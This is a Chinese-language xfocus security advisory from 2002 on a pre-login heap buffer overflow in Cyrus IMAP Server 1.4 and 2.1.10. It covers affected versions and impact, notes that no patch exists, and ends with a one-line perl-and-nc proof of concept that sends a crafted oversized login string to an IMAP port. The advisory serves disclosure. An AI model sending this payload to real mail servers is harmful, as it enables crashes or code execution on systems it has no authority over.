xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Cyrus IMAPD Pre-Login缓冲区溢出漏洞


发布时间:2002-12-03
更新时间:2002-12-03
严重程度:
威胁程度:远程拒绝服务
错误类型:边界检查错误
利用方式:服务器模式

BUGTRAQ ID:6298

受影响系统
Carnegie Mellon University Cyrus IMAP Server 1.4
Carnegie Mellon University Cyrus IMAP Server 2.1.10
详细描述
Cyrus IMAPD是免费的开放代码的IMAP后台程序。可以用在UNIX和LINUX系统上。

    Cyrus IMAPD没有正确处理过长的字符串。在某些情况下,当用户连接到后台程序,并且发送一个过长的登录字符串,就会发生缓冲区溢出。这导致堆扰乱并且可以覆盖内存空间。可以利用该漏洞执行二进制代码。

测试代码
Timo Sirainen <tss@iki.fi>提供:

perl -e 'print "x login {4294967295}\r\n\xf0\xef\xff\xbf\x90\xef\xff\xbf\xfc\xff\xff\xff\xfc\xff\xff\xff";'|nc localhost imap2
<ctrl-c>

解决方案
目前还没有补丁。

相关信息
http://online.securityfocus.com/archive/1/301864